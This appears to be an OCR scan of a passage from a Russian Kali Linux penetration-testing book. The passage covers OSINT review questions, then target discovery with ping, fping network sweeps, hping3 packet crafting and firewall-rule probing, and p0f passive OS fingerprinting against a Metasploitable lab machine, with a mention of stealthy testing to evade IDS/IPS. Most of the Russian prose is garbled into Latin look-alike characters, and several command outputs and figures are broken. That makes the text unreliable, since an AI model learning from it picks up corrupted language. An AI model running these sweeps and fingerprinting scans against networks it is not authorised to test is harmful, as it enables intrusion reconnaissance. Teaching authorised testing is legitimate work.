Kakue nHcTpyMeHTbl MOJKHO HCIIOJIB30BATD JIJIST 3alTpOca NH(MOPMAITIHT O PerucTpa-
Uy JomMeHa?

Yo npencrasiisier coboii 3amuch A?

Kakoii MHCTPYMEHT MUCIOJIb3YET ITONCKOBaAA CUCTEMA Google JJIA c60pa MeTalaHHbIX
JOKYMEHTOB B I1€JIEBOM JloMeHe?

Kakue jiBa aBTOMaTH3UPOBAHHBIX MHCTPYMEHTA cOOpa WH(MOPMAITIH MbI U3y IILIN?

Kakoit HHCTPYMEHT MOKHO ITPUMEHSITD JIJIsI [ToUcKa nHbopmMaimy 06 yCTpoicTBax,
MOJKJIIOYeHHbIX K VIHTepHeTy?

[lononHUTeNnbHbIE MaTepuansl

Q
Q

Pecypcot OSINT: http://osintframework.com/.

JlokyMeHTalist 1 PyKOBOZCTBO HoJib3oBaTe st Maltego: https://www.paterva.com/web7/
docs.php.

Google Cheat Sheet: http://www.googleguide.com/print/adv_op_ref.pdf.

Shodan mig ucnsitaTesneit Ha NPOHUKHOBeHME: https://www.defcon.org/images/defcon-18/
dc-18-presentations/Schearer/DEFCON-18-Schearer-SHODAN. pdf.



MeToabl CKaHMPOBaHUA
N YKIIOHEHUS

B 270ii T1aBe MBI OTIUIIEM TIPOTIECC OOHAPYKEHWS YCTPONUCTB B 1IEJIEBOI CETH € TOMO-
IIbIO pasinunbix nHerpyMmentos Kali Linux u uncrpymenTos, gocrynnbix us GitHub.
PaccmoTtpum cieptyioriye TeMbl.

O Ommncanve MeTo1a 0GHAPYKEHUS TIEITH.

O Kak ¢ momomnrsio nHeTpyMenToB Kali Linux pacmosHaTh mesieByio Marmmy.

O I[Maru, KOTOpPbIE HEOOXOAUMO BBITIOJIHUTD JIJIsI TIOMCKA OMEPAIIMOHHBIX CHCTEM I[eJIe-
BBIX MaIlKH (TTOJIy4YeHue OTIeuaTKOB ONePAIlMOHHON CUCTEMBI ).

O ABTOMaTHYeCKOe CKaHMPOBaHUE C IOMOIIbIO Striker.
O CoxkpsiTre ¢ momortisio Nipe.

LITO6I)I 6BIJIO IIOHATHEE, B KaUYeCTBE L[eJIEBOI‘/JI MallTMHbI MbI 6yz[eM HNCITIOJIb30BAaTb
BUPTYAJbHYIO MallIUHY.

TexHnyeckue ycnosus

Bamra cucrema 10/5KHa COOTBETCTBOBATH CJIeAYyIOIUM TEXHNYECKNUM yCJIOBUAM.

O MunumasbHbie TpeboBaHus K 000pynoBatuto: 6 TOallT oriepaTUBHON MaMSITH, Y€ThI-
pexbsaephbiii mpoueccop 2,4 I'Ti u sxecrruii guck 500 ToaiiT.

O Kali Linux 2018.

O BupryasbHag Maiiiha st TecTupoBanus, Harpumep Metasploitable nim Bad Store
(cMm. rnaBy 2).

HaunHaeM ¢ obHapy>XXeHust Lenu

[Tocsie Toro kaxk nH(OPMAIKS O IEeJEBOH CeTH UM MalnHe Oblia coGpaHa ¢ MOMOIIbIO
CTOPOHHUX MCTOYHUKOB, MOKXHO IMPUCTYIIATh K O6Hapy)KeHI/IIO HeﬂeBOﬁ MaIlllMHBbBI.
[enn oGHAPYKEHUS CIeyONIKeE.

Q Haiitu B 11es1€BOI ceTn AOCTYITHbIE MallIMHBI. Ecnu nenepas mammna HEIOCTYIIHa,
MbI HE MOJKEM TTPOBOJIUTH Ha Hell TecT Ha ITPOHMKHOBEHUE 1 HepefmeM K CJIeZ[yIOIHeI'/JI
MalllnHe.
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Q Omnpenesnutsb ONEPAMOHHYIO CUCTEMY, YCTAHOBJIEHHYIO Ha 1[eJIeBOI MallliHe.

O Hcrmomb3oBaTh COOPAHHYIO TAKUM 00pa30M HHHOPMAITHIO B TPOIECCE COTTOCTABTEHHS
YSA3BUMOCTEH.

Jlst ipotiecca 06HAPYIKEHST TIesIel MBI MOKEM UCTTOTB30BATh MHCTPYMEHTHI, TIPEIO-
crassisiembie Kali Linux. HekoTopbie 3 HUX 0CTYITHBI B MeHI0 Information Gathering (C6op
nngopmarmn). [pyrue npuaoxxeHus TpuaeTcs 3ayCcKaTh U3 KOMaHIHOM CTPOKU.

B aroii rimaBe Mbl onuieM JUIIb HECKOJIbKO BaXKHBIX HHCTPYMEHTOB U3 KasK/101
Kareropui. VIHCTPYMEHTBI BBIOPAHBI B 3aBUCUMOCTH OT MX (DYHKITHOHATBHOCTH, TO-
IIyJIAPHOCTH U IIOCTaBJIEHHBIX [Iepe]] UcciefoBaTeieM Leseil.

B 3Tol rnaBe B kayecTBe LiesieBOi CUCTEMbI Mbl UCMONb3YEM YCTaHOBIIEHHYIO
paHee Metasploitable 2. Kaxayto 13 npeanoXXeHHbIX KOMaHA Bbl MOXeETe
onpo6oBaTb B 3TON ONepaLnoHHON CUCTEME.

NneHTndunkauma LeneBov MallvHbl

VHCTPYMEHTBI 3TOI KaTeropun NCIIONB3YIOTCS JITIST OTIPEIETIEHS TeJIeBBIX MAIlNH, K KO-
TOPBIM UCITBITATENIb Ha TPOHUKHOBEHUE MOKET TIOJIYYUTh AOCTYIL. [Ipeskie yem HavyaTh
potiecc ueHTUMUKAIUHT, MBI IOJKHBI 3HATD YCJIOBUST M COTJIAIIEHS, TIPE/IbBIIsIEMbIe
HAIIUM KJINEHTOM.

Ecsu B coryamiesnn TpebyeTcst CKPBITh BCe JIEHCTBUS 10 TECTUPOBAHUIO Ha MPO-
HUKHOBEHUE, MBI BCE OTIBITHI JIOJKHBI TPOBOUTH CKPBITHO. MeTO/[bl CKPBITHOCTH MOTYT
TaKKe MPUMEHATHCS JIJIS TECTUPOBAHUS (DYHKIIMOHAIBLHOCTH CUCTEMbL OOHAPYICEHUS.
emopacenuil (IDS) wma cucmemot npedomepawenus emopacenuti (IPS). Eciu Takue
TpebOBaHUST He OOTOBAPUBAJIKICH, IPOBE/ICHIE UCTTBITAHUS HA TIPOHUKHOBEHNE CKPBIBATH
He cJIefiyer.

ping

ping — caMblil U3BECTHBIN U YACTO MPUMEHSIEMbIIT MHCTPYMEHT, KOTOPBIN UCTIOJIb3YETCST
JUTST IPOBEPKH JIOCTYITHOCTH KOHKPETHOTO X0cTa. OH paboTaeT ceayomnm 06pasom:
CHavaJIa 1eJIeBOH MaliHe WA CETH OTIPABJISETCS MAKeT 9X0-3arpoca mpotokoa [CMP
(Internet Control Message Protocol — TIPOTOKOJI MEKCETEBBIX YIPABJIAIONINX COOOIIE-
Huit). Eciv riesieBast Manmua ocTymHa 1 6paHaMayap He OJI0KUPYET TTaKeT 9X0-3armpoca
ICMP, on BrinIeT naket axo-orseta ICMP.

3anpoc npoBepku cBsiz3n ICMP un axo-otBeT ICMP — 3T0 ABa coobLieHns
ICMP ynpaBneHus. YTobbl y3HaTh O APYruX YNpaBfsoWmUX COOBLEHNAX
ICMP, obpatuTeck no agpecy https://en.wikipedia.org/wiki/Internet_Control_
Message_Protocol#Control_messages.

B menio Kali Linux koMausl ping HeT. YT0GbI BHIIOJIHUTD €€, OTKPOITE TePMUHAI
U BBEIUTE ping ¢ HY;KHBIMH MTaPAMETPAMHU.
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Yro0bl BBIIIOJIHUTE TECTUPOBAHKE 1[EJIEBOTO YCTPONCTBA, BBEIUTE KOMAHLY ping
u IP-azpec neneBoro ycrpoiictsa (puc. 5.1).

root@kali: ~ @ ® ©

File Edit View Search Terminal Help
gkali:~# ping. 172.16.43.156

)

6: icmp

T
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w

w wmn

B L L LY
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=
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Puc. 5.1. KomaHga ping BbInonHsAETCS

ITo yMOI4aHUIO 9TOT TeCT OyAeT UATH HEIPePhIBHO. UTOObI €10 0CTAaHOBUTD, HAKMUTE
coueTanue KaaBur Ctrl+C.

MHCTpYMEHT ping uMeeT HeCKOJIbKO apaMeTpoB. Huske mokasanbl Hanbosiee mo-
Iy JIpHBIE.

Q -c (cyer) — UnCI0 OTHPABIEHHBIX 9X0-3aITPOCOB.

Q -1 (IP-ampec untepgeiica) — aro [P-ajpec 1eneBoit Mammubl. ApryMeHTOM MOXKET
6bITH uncoBoii IP-agpec (manpumep, 192.168.56.102) wau mmst yerpoiicTa (Ha-
npumep, eth0). JlaHHbIi TapaMeTp MOKHO TIPUMEHSTD JIJISI IPOBEPKHU CBSI3H C JIO-
KaJIbHbBIM azipecoM [Pv6.

O -s (pasmep makera) — yKasblBaeT KOJUYECTBO OTIPaBJsieMbIX 6aiiTOB JaHHbIX.
I[To ymMoryaHuIo pasMep IaKera cocTapjsier 56 GailT, 4To B coueTaHuu ¢ 8 Gaiitamu
nanHbix 3arosioska ICMP nipeoGpasyercst B 64 Gaiita nanubix ICMP.

[TocMoTpuM, Kak aTH MapaMeTphl MPUMEHSTIOTCsT Ha TpakTuke. [Ipeamnosnoxum, uc-
TIbITaHME Ha IIPOHUKHOBEHNE Bbl HAYMHAETE C BHYTPEHHETO TECTa. Kiment IIpeaoCTaBMUI
BaM CIUCOK [P-a/[pecoB IieJIeBbIX CEPBEPOB U JIOCTYII K JIOKAJTBHOU CETH 110 KabeJIio.

[IepBoe, uTo BaM CJemyeT cleaTh Mepe/l 3aIyCKOM OCHOBHOTO T€CTA HA IIPOHUKHO-
BeHIe, — [TPOBEPUTH, IOCTYITHBI JIV C Ballleil MAIIuHBI 1leJieBble cepBepsl. /1711 aToro Bam
BIIOJIHE TIOZIOI/IeT KOMaH/Ia ping.
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Tomnycrum, IP-aapec neeBoro cepsepa — 172.16.43.156, B To Bpems kak IP-aznpec
Barrero kommbiorepa — 172.16.43.150. /{5t mpoBepKH OCTYITHOCTH TIEJIEBOTO CEPBEPA
BBEJIUTE CIIEYIONTYI0 KOMAHIY:

ping -c 1 172.16.43.156

BmecTo IP-aapeca LeneBoli MalunHbl ping TakXke NPUHUMAET MMEHa XOCTOB.

Ha puc. 5.2 mokaszau pe3y/bTar, KOTOPBII MBI [TOJY4UM MOCJIE BHITOJTHEHUS ITOM
KOMaH/IbI.

ime Gms

Puc. 5.2. Pe3ynbTaT BbINONHEHUS KOMaHAbI ping

Mol BuayM, 4To 1aker axo-zanpoca ICMP 6oL nepenan Haznauenuio (IP-aapec =
=172.16.43.156). B orser kommbiorepy (IP-azpec = 172.16.43.150) 6oL Bo3BpalieH
sxo0-otBeT. Ha mepenauy makera, preM IeJI€BBIM KOMITBIOTEPOM U OOPATHBIN OTBET
6b110 orpaueHo 0,869 mucekyHabl. [ToTepu IaKeToB HET.

[TocMoTpuM, KaKKe ceTeBbIe TTAKEThI TIepeIAloTCs U TPUHUMAIOTCS HAIIEH MAITMHOM.
JlJist 3axBaTa MaKeTOB MbI UCIIOJIb3yEeM aHAIU3ATOP ceTeBOro mporokosa Wireshark

(puc. 5.3).

NG, Time source Destination Protocol Length Info
16.43.150 172.16.43.156 CMP oA Echo (ping) request 1d=0x0982, seq=1 =64 (reply in 10)

10 2.465325000 172.16.43.156 172,16.43.150 IcMP 88 Echo (ping) reply  1d-0x0982, seq=1/256, ttl=64 (reguest in 7.

Puc. 5.3. AHanuanpyeM 3axsavyeHHbIe NnakeTbl

Ha puc. 5.3 Buzino, uto Hamm xommbiorep (172.16.43.150) oTipaBuJI 1e1€eBOMYy KOM-
npiotepy (172.16.43.156) oxgun maker axo-3ampoca ICMP. LlesieBoit KOMITbIOTED HA ITOT
9X0-3aIPOC MePeIal HAlllel MAIIMHE TTaKeT ¢ 3X0-0TBeToM. boiee nogpobHo Wireshark
MbI PACCMOTPUM B TJiaBe 9.

Ecim na iesrleBom komtibtoTepe ucriosbayetcst [P-anpec mporokomna IPv6, nanpumep
fe80::20¢:29ff:fe:18::08, TO 7151 MPOBEPKU €0 LOCTYITHOCTH MBI MOKEM BOCIIOJIb30BaTh-
cs1 MHCTPYMeHTOM ping6. BaM it paboThl ¢ JIOKaJIbHBIM aJpecoM cjepyer 100aBUTh
B KOMaH/Iy rapameTp -1I:

# pingb -c 1 fe80::20c:29ff:fel8:f08 -I etho

PING fe80::20c:29ff:fel8:f08(fe80::20c:29ff:fel8:f08) from
fe80::20c:29ff:feb3:137 eth@: 56 data bytes

64 bytes from fe80::20c:29ff:fel8:f08: icmp_seq=1 ttl=64 time=7.98 ms
--- fe80::20c:29ff:fel8:f08 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time @ms

rtt min/avg/max/mdev = 7.988/7.988/7.988/0.000 ms
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Ha puc. 5.4 oka3aHbl AKeThI, OTIIPABJIEHHBIE JIJISI BHITIOJHEHUST 3A1Tpoca pingb.
3/1ech BUJTHO, UTO PINg6 MCIIOIB3YeT /IJIst 3arpoca 1 otBeta nmpotokos [CMPu6.

Cwstination Brotocol Length Info
16 :Tub3:137 fu 18- TCMPVE 118 Echo (ping) recuwst 1d=Oxt sug=l. hop Limit=24 [reply :n 4)

2 0.005881000 feBO::20c: ffb3:137 ICHPYE B5 Meighbor Solicitation for feBo::20c:25ff:febd:137 from 00:0c:Z:16:0f :08
3 0.006008000 feB0::20c:20ff:feb3:137 fe80::20c:20ff:feln:f IOWPVE BE Neighbor Advertisemant feB0::20c:204f:feb3:137 (sol, ovr) is at D0:0c:29:b3:01:37
A Q.008971000 TeR0::20c:291f 1eln:f08 fe@0::20c:29ff:feb3:l I0PVE 118 Echo (pangl reply 1d-Om07e6, segrl, hop limt=64 (reguest an 1)

Mo, Time Source

Puc. 5.4. BoinonHeHune 3anpoca pingé

Jlist GIOKUPOBKY ping-3ampoca HYKHO HACTPOUTH GpaHAMAaysp Tak, 4TOOBI OH OT-
Beyas Ha 9X0-3aIPOCHl TOJIBKO € OIPEAETEHHOTO XOCTa, & 9X0-3AMPOCHI ¢ OCTANbHDBIX
XOCTOB UTHOPUPOBAJL

fping

Pasmuia MexIy ping v fping 3aKTi04aeTcs B TOM, 4TO HHCTPYMEHT fping MOsKeT oTIpaB-
JIATH Ping HECKOJBKUM XOCTaM OTHOBPEeMeHHO. B KoMaHHOI CTPOKe MOXKHO yKa3aTb
HECKOJIBKO 11eJIEBBIX KOMITBIOTEPOB UJIM MCIIOJIb30BATh (haili1, copepKaiuil XOCThI /715
IIPOBEPKU CBSA3U.

B fping mo ymosramimio ping OTCeKNBAET OTBET OT MEJNEBOTO KOMIIbIOTepa. Ecuti 1re-
JIEBOH KOMITBIOTEP OTITPABJISIET OTBET, OH OY/IET OTMEUeH U y/IadeH U3 CIHUCKa Ha3Hade-
aust. Ecomi 1e1eBoit KOMITBIOTEp HE OTBEYAET B TEUECHUE OTIPEIEIEHHOTO CPOKa, OH OyIeT
nmomMeveH Kak Hegoctynubiit. [To ymomuanuio fping mormbitaeTcst OTIPaBUTh TPH MTAKeTa
axo-3anpoca ICMP nuis kasxoit e,

Jlist octyna K fping uCmosib3yercst ceayonas KOMaHa:

# fping -h

B orBeT MbI HOJIy4M UHCTPYKIUIO 110 UCIIOJIb30BAHMIO 9TOI KOMAH/[bl U JOCTYIIHbIE
apamMeTpbl.

Cuieyroliye clieHapyiy JaayT BaM MPeCTaBIeHUe, Kak MOKHO HCTI0/Ib30BaTh fping.

Eciin HaM Hy>KHO OZIHOBPEMEHHO OIIPOCUTh HECKOJIBKO IIeJIeBbIX MalluH ¢ IP-agpecamu
72.16.43.156, 172.16.43.150 1 172.16.43.155, MbI MOKEM BBECTH CJIELYIONLYIO0 KOMAHLY:

fping 172.16.43.156 172.16.43.150 172.16.43.155

Hwke mokazan pe3yabTaT €€ BbITIOJIHCHWA:

# fping 172.16.43.156 172.16.43.150 172.16.43.155
172.16.43.156 is alive

172.16.43.150 is alive

ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to
172.16.43.155

ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to
172.16.43.155

ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to
172.16.43.155

ICMP Host Unreachable from 172.16.43.150 for ICMP Echo sent to
172.16.43.155

172.16.43.155 is unreachable
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MBI Takske MOKEM TeHEPUPOBAThH CITUCOK XOCTOB aBTOMATHYECKHU, 6e3 OTIPEIeIeHUsT
onuH 3a Apyrum [P-anpecos u npenTrGUKAIN paboTAIONNX U OTBEYAIOIINX HA 3aTPO-
cbl KOMIIBIOTEPOB. [IpennosokuM, Mbl XOTUM HAWTH BKJIIOUEHHBIE U OTBEYAIOIIIe HA
3anpockl XocThl B cetn 172.16.43.0/24. [lsig aToro ciieyeT UCIob30BaTh TapaMeTp -g
U 32/1aTh CETb JIJIs TPOBEPKH, KaK B KOMAaHIE:

# fping -g 172.16.43.0/24

Eciu MbI XOTUM U3MEHUTH KOJIMYECTBO TIOTIBITOK TIPOBEPKU CBSI3U, HYKHO UCTIOTTH30-
BaTh ITapaMeTp -r (OrpaHnYeHNe TTOBTOPHBIX TTOTIBITOK ), Kak TToKazaHo fasee. [lo ymor-
YAHWIO WHCTPYMEHT BBITIOJTHSET TPH MOTIBITKHA OTIIPABKH MAKETOB.

fping -r 1 -g 172.16.43.149 172.16.43.160
Ha yTo MBI TOJTyYnM Takoi OTBET:

# fping -r 1 -g 172.16.43.149 172.16.43.160
172.16.43.150 is alive
172.16.43.156 is alive
172.16.43.149 is unreachable
172.16.43.151 is unreachable
172.16.43.152 is unreachable
172.16.43.153 is unreachable
172.16.43.154 is unreachable
172.16.43.155 is unreachable
172.16.43.157 is unreachable
172.16.43.158 is unreachable
172.16.43.159 is unreachable
172.16.43.160 is unreachable

Yro6bt co6paTh TOMHYIO CTATUCTUKY, 100aBbTE TAPAMET] -S:

fping -s www.yahoo.com www.google.com www.msn.com

Ha sy KoMaHIy MBI TOJIy4UM CJIEYIONINI OTBET:

#fping -s www.yahoo.com www.google.com www.msn.com
www.yahoo.com is alive
www.google.com is alive
www.msn.com is alive
targets
alive
unreachable
unknown addresses
timeouts (waiting for response)
ICMP Echos sent
ICMP Echo Replies received
other ICMP received
28.8 ms (min round trip time)
30.5 ms (avg round trip time)
33.6 ms (max round trip time)
0.080 sec (elapsed real time)

O W wWoOoOoOoOoO ww
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hping3

CpeznctBo hping3 npepcrapisier coO0U TeHEPATOP U AHAIIU3ATOP CETEBBIX MTAKETOB KO-
MaH/IHOH cTpokU. Birarozaps Bo3MoKHOCTH reHepupoBaTh [10J1b30BaTEIbCKUE CeTeBble
maketsl hping3 mozxHO 3az1eiicTBoBaTh 17ist ipoTokosa TCP /TP ipu BBITIOJHEHUN TAKIX
TECTOB, KaK CKaHUPOBAHHUE MTOPTOB, MPOBEPKA MPABUJI OpaHIMAydpa U TECTHPOBAHUE
IIPOU3BOUTENBHOCTU CETHU.

Kaxk yrBepskaaer pazpaboTumK, €CTh ellle HeCKOJIbKO BAPUAHTOB MCIOJIb30BAHUS
hping3:

O recTEpoBaHUe MPABUI OpaHAMAYIPA;

O Ttecruposanue 1DS;

QO wucnosb3oBanue U3BecTHLIX ysa3BuMocteil B creke TCP/IP.

Yro6bl oyunTh A0CTy K hping3, mepeiiaure B KOHCOJIb U BBEAKUTE KOMaHIy hping3.
Bbr MOsKeTE 3a1aBaTh KOMaH bl hping3 HECKOIBKUMU CIIOCOOAMU: BBE/IST B KOMAH/HYIO
CTPOKY, Yepe3 MHTEPAKTUBHYIO 000JI0UKY UK C IOMOIIBIO CLIEHAPHSL.

bBe3 3ajanHbIx B KOMaHIHOM CTPOKe TTapaMeTpoB hping3 oTnpasisieT HyaeBoir TCP-
nakeT Ha mopt nox Homepom 0. JIj1s BeiGopa Apyroro mpoToKo/ia yKasKuTe B KOMaHIHON
CTpOKeE CJIeAYIONINE TapaMeTPhI.

KopoTkuit napametp | ANvHHbIA napaMeTp |3HaueHue

-0 --raw-ip Ortmpasisier HeoGpaboTaHubie [P-miakeTh
-1 --icmp Ornpasiser maketel ICMP

-2 --udp Tepenaer nakerst UDP

-8 --scan BbiOrpaer pexxuM CKaHUPOBAHHSI

-9 --listen Brutiouaer peskum poc/ymuBanus

I[Ipu ucnonbszosanuu nporokosia TCP Mbr MoxkeMm npuMenaTh TCP-makersr 6e3 ka-
KUX-JT100 JOTIOJHUTEBHBIX (DJIAroB (9TO MPEYCMOTPEHO 110 YMOJTYAHUIO ) UJIH BHIOPATh
OJIVH 13 CJIEIYIONNX BAPUAHTOB.

Mapamerp |Wmsa dnara

-S sun

-A ack

-R rst

-F fin

-P psh

-U urg

-X xmas: flags fin, urg, psh set
-Y ymas
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PaccMOTpUM BO3MOKHBIE CTydau UCTIONb3oBanus hping3.

OrtmpaBbre ouH maker sxo-3arnpoca ICMP xHa mamuy ¢ IP-aapecom 192.168.56.101.
[l aTOTO yKaKUTE Caepyomue mapaMerpor: -1 (urobbl BeIOpaTh npoTokos ICMP)
U -c1 (U1 yCTaHOBKU Habopa MAKeTOB B O/[MH TIAKET):

hping3 -1 172.16.43.156 -c 1

B otBeT mMbI IoJIydmum cieayromiee:

# hping3 -1 172.16.43.156 -c 1

HPING 172.16.43.156 (eth® 172.16.43.156): icmp mode set, 28 headers + @ data
bytes

len=46 ip=172.16.43.156 ttl=64 id=63534 icmp_seq=0 rtt=2.5 ms

--- 172.16.43.156 hping statistic ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 2.5/2.5/2.5 ms

W3 nosryyeHHBIX BBIXOIHBIX JAHHBIX MBI MOKEM OIPEEJIUTD, YTO 1ieJieBast MallllnHa
HOAKIIOUEHA K ceTH, paboTaeT 1 oTBedaeT Ha axo-3anpoc ICMP.

Yro6bl TIPOBEPUTD, TPABUJIBHBI JIM HALINA BHIBO/BI, MBI C IOMOIIbIO tepdump 3axBa-
Tian TpaduK. 3axBaueHHbIE TTAKETHI TIOKA3aHbl HAa PHC. 5.5.

» length 28

Puc. 5.5. MakeTbl, 3axBaveHHble C noMoLbo tcpdump

MBI BUuiM, 4TO 11€JIb OTBETUIA ITaKkeToM 9X0-oTBeTa ICMP.

MpbI MOkeM BBOJUTD TTapaMeTpPhbl He TOTbKO B KOMAaHIHYIO CTPOKY. HCTpyMeHT
hping3 crocoben pabotarh U B MHTEPAKTUBHOM PEKUME, 3aIlyCTUTE TEPMUHAT 1 BBEIU-
Te B KOMaHIHYIO cTPOKY hping3. [losiBuTCS mpuriamienne, B KOTOPOM MOKHO BBOJIUTD
Tcl-xkomanasr.

Y1066l nonyunTb 60nbLIE nHDOpMaumm no komaHaam Tcl, obpaTuTecs K cre-
ayrowmm pecypcam: http://www.invece.org/tclwise/ n http://wiki.tcl.tk/.

Huske npusesen cooTBeTcTBYONMIT cueHapuii Tcl:
hping3> hping send {ip(daddr=172.16.43.156)+icmp(type=8,code=0)}

Ecim TEPpMHUHAJ HE 3allylICH, OTKpOﬁTe OKHO T€pMUHaJIa 1 JId TOJIYY€eHHA OTBETA
OT LE€JIEBOTO CepBEPa BBEAUTE CJIEAYIONYIO KOMaH/1y:

hping recv ethe

[Tocsie aToro OTKpOIiTE e1e 0J]HO OKHO TePMUHAJA 1 BBEIUTE B KOMAH/IHYIO CTPOKY
3arpoc. Ha puc. 5.6 mokasan oTBeT, KOTOPBII BbI IOJIKHBL TIOJTYUUTh.
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off=0,mT=0,df=0, rf=0,tt1=0,proto=0

Puc. 5.6. OTBET Ha OTMNpaB/eHHbIN 3anpoc

MosKHO Takske UCIob3oBarh hping3 miist mpoBepku ipaBui Gpanamayapa. Ipeiro-
JIOKHM, Y Bac €CTh CJEAYIONIIE MpaBua OpaHaImMayapa.
Q IIpunumats mobeie TCP-1makeTsl, HanpaBieHHbie Ha nopt 22 (SSH).
O Ipunrnumats go6bie TCP-makeTs, OTHOCAIINECS K YCTAHOBIEHUIO COETMHEHNST.
Q Ot6pocuTh JTt06bIe APYTUE TTAKETHL.

YT00BI IPOBEPUTH STU IIPABUIIA, A/ IepeJadn maKera axo-sanpoca ICMP BBeaute
B hping3 ciexyoniyro KoMaHy:
hping3 -1 172.16.43.156 -c 1

B oTtBer BbI mosryunTe TAKOH KO/

# hping3 -1 172.16.43.156 -c 1

HPING 172.16.43.156 (eth@ 172.16.43.156): icmp mode set, 28 headers + © data bytes
--- 172.16.43.156 hping statistic ---

1 packets transmitted, @ packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

Mpbl BUIMM, 4TO TieJieBast MallliHA He OTBETUJIA HA HAII Ping-3ampoc.
Ornpasbre TCP-mmaker #a mopt 22 ¢ imarom SYN. B oTBeT BbI TOTyunTe pesyJibTar,
MOKa3aHHBIN Ha puc. 5.7.

Puc. 5.7. OTBET Ha 3anpoc, OTNpaBfeHHbIV Ha NopT 22 ¢ dnarom SYN

Ha puc. 5.7 Buano, 4o GpanamMaysp LeleBoi MalliHbl 103BoJseT nakety SYN no-
crurartb opta 22. /aBaiite mposepum, paspetieno au UDP-makery mocrurats nopra 22
(puc. 5.8).

headers + @ data bytes

.43.156 hping statis
1 pac

Puc. 5.8. Mposepsem, pa3speweHo nm UDP-nakety gocturatb nopra 22
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Ha puc. 5.8 BunHo, uto GpaHamMayap LejeBoii ManiuHbl He 1103Boasier UDP-nakery
JIOCTUYB TIOpTa 22.

Boamoskroctu hping3 He orpaHUYMBAIOTCS BBIIEOMMCAHHBIMU OTIepanusamu. B atoii
[JIaBEe Mbl PACCMOTPEJIH TOJIbKO HECKOJIBKO BO3MOKHOCTEH TPUMEHEHUST 9TOTO UHCTPY-
MenTa. Eciii Bbl X0TUTE y3HATDH O0JIbIIIE, 0OpaTUTECH K JIoKyMeHTaiuu hping3, pacmo-
JIOXKEHHOM 110 azipecy http://wiki.hping.org.

NonyyeHne otnevaTtkos OC

[Tocsie TOTO Kak MBI YCTAHOBHJIN, UTO I[eJIeBast MAITHA HAM OTBEYAET, MBI MOKEM Y3HATH,
KaKas OleparyonHas CUCTeMA Ha Hell CIIO0Ib3yeTcs. ITOT METO/I ITMPOKO U3BECTEH KaK
cuamue omneuamxog nawues (fingerprinting) onepauuonnoii cucmemot. CyecTByer aBa
METO/A CHATUS OTIIEYATKOB MAJIbIIEB: AKTUBHBIN 1 TACCUBHBII.

[Tpu BBITIOJIHEHWY GKMUBHOZ0 METOIA TIPUJIOJKEHIIE OTIIPABJISIET [I€JIEBOI MalllnHe
ceTeBble MAKETDI, & 3aTeM aHATU3UPYET MOJTYUEHHbII OTBET 1 OIPeiesisieT, KaKas orepa-
[MOHHAS cucTeMa yctaHoBieHa. [[penmyiiecTBo Takoro MeToia 3aKJIi04aeTcst B TOM, 4TO
mpoiecc mpoxoAuT 66icTpo. Ho ecTh U HEOCTATKI: HATIPUMED, TIEI€BAst MAIIIMHA MOKET
3aMETHTD MOTBITKY MOJYIUTh HH(MOPMAIIHIO O CBOEH OMeparnoHHON cCuCTeMe.

Yr0o66r n36€KaTh 0OHAPYKEHUS, CIEAYET BOCIIOIb30BATHCS NACCUBHBIM METOIOM
cusitug ornedarkos OC. 1o MerTos ObL Briepsble pazpaboran Muxaiom 3aneBcku
(Michal Zalewsky), kormga on cosmasan HHCTpYMeHT 110/ HazBaHueM p0f. OCHOBHBIM
MPENMYITIECTBOM METO/IA SIBJISIETCS TO, YTO TIPH PaboTe ITOTO MHCTPYMEHTA YMEHDITAETCST
B3aMMO/IEHICTBYE MEKY IIeJIEBOI U UCITBITATEIbHOI MAIIMHOM M CKPBITHOCTh CHATHS
OTIIEYATKOB 3HAYUTEIHHO yBeanunBaetcst. Hanbosee cyiecTBeHHbII HEIOCTATOK Mac-
CUBHOTO METO/[a B TOM, UTO HA IPOIIECC CHITUS OTIEYATKOB 3aTPAUYUBAETCSI TOPA3/I0
GOJIbILE BPEMEHIL.

B sToM paszesie Mbl PACCMOTPUM HECKOJBKO UHCTPYMEHTOB, KOTOPblE MOKHO UC-
0JIb30BaTh /Ui cHATHS oTredaTkoB OC.

pOf. Mucrpyment pOf nipegHazHaueH [Jist TACCUBHOTO CHSITHS OTIIEYATKOB OIlepa-
IIMOHHOM cucTeMbl. ETo MOXHO mpuMeHATh i1 naeHTndukarmmy OC Ha cIeayonmx
KOMITBIOTEPax.

Q MammHbl, KOTOpbIE MOJAKIIOYAIOTCS K Balllell UCITbITaTeIbHON Marmte (peskuM SYN,
BBIOPAHHBIN 110 YMOJTYAHUIO).
O MamuHbl, K KOTOPBIM TIoKI04aeTech Bol (peskuM SYN + ACK).
O ManuHel, K KOTOPbIM He yaeTcs NoJKMounTbes (peskum RSTH+).
Q MaiuHel, €B43b ¢ KOTOPBIMU BBl MOXKETe KOHTPOJIUPOBATD.
Wucrpyment pOf anamusupyer TCP-nakeTsl, oOTIpaBIeHHbIE B X0/I€ CETEBOTO 00-
MeHa. J[aee cobGMpaeTcss CTaTUCTHKA CIIEUATBHBIX TTAKETOB, KOTOPbIE TT0 YMOTYAHUIO

He CTaHJapTU3UPOBaHbI HU O/IHON Kopriopanueit. Harpumep, sapo Linux ucronbayer
64-6aiiToByio ping-gararpammy, a Windows — 32-6aiiToByio ping-gaTarpaMmy WK
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sHaueHue gpemenu scusnu naxema (TTL). 1na Windows saauenne TTL pasro 128, a gy
Linux saBucut ot guctpudyrusa. Ity undopmaimio pOf mpuMeHser aJsl olpeeieHus
OTIEPAIMOHHOI CUCTEMBI YIAJIEHHOTO KOMITBIOTEPA.

Mpu ncnonb3oBaHmK BxoasLlero B coctaB Kali Linux nHctpymenTa pOf Mbi
He CMOIN CHATb OTMEeYaTKU OnepauUMOHHOW CUCTEMbl Ha yAaNEeHHOW Ma-
LWKHe. Mbl BbISICHANK, YTO B MHCTPyMeHTe pOf He obHoBNeHa 6a3a AaHHbIX
oTrneyaTkoB. K coxaneHuio, HaM He yanocb HaWTu MOCNEHIO BEPCUD
6a3bl JaHHbIX 0TreYaTkoB. MoaToMy Mbl 3aaeiicTeoBanm pOf Bepcun 3.06b.
[ins Mcnosnb3oBaHUs 3Toi Bepcum ckadaiite daiin TARBALL (http://Icamtuf.co-
redump.cx/p0f3/releases/p0f-3.06b.tgz) n ckoMnunupyinTe koa, 3anycTuB
